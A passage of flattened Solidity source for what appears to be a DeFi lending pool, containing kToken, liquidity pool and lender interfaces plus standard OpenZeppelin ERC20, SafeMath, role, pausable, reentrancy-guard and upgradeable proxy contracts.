function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address recipient, uint256 amount) external returns (bool);
function burnFrom(address sender, uint256 amount) external;
function addMinter(address sender) external;
function renounceMinter() external;
}
interface ILiquidityPool {
function () external payable;
function kToken(address _token) external view returns (IKToken);
function register(IKToken _kToken) external;
function renounceOperator() external;
function deposit(address _token, uint256 _amount) external payable returns (uint256);
function withdraw(address payable _to, IKToken _kToken, uint256 _kTokenAmount) external;
function borrowableBalance(address _token) external view returns (uint256);
function underlyingBalance(address _token, address _owner) external view returns (uint256);
}
interface ILender {
function () external payable;
function borrow(address _token, uint256 _amount, bytes calldata _data) external;
}
interface IBorrowerProxy {
function initialize() external;
function lend(address _caller, bytes calldata _data) external payable;
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract KRoles is Initializable {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
address[] public operators;
function initialize(address _operator) public initializer {
_addOperator(_operator);
}
modifier onlyOperator() {
require(isOperator(msg.sender), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract CanReclaimTokens is KRoles {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
KRoles.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOperator {
recoverableTokensBlacklist[_token] = true;
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract. To withdraw ETH, the token should be set to `0x0`.
function recoverTokens(address _token) external onlyOperator {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
(bool success,) = msg.sender.call.value(address(this).balance)("");
require(success, "Transfer Failed");
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard is Initializable {
// counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
function initialize() public initializer {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
uint256[50] private ______gap;
}
contract PauserRole is Initializable, Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Initializable, Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[50] private ______gap;
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
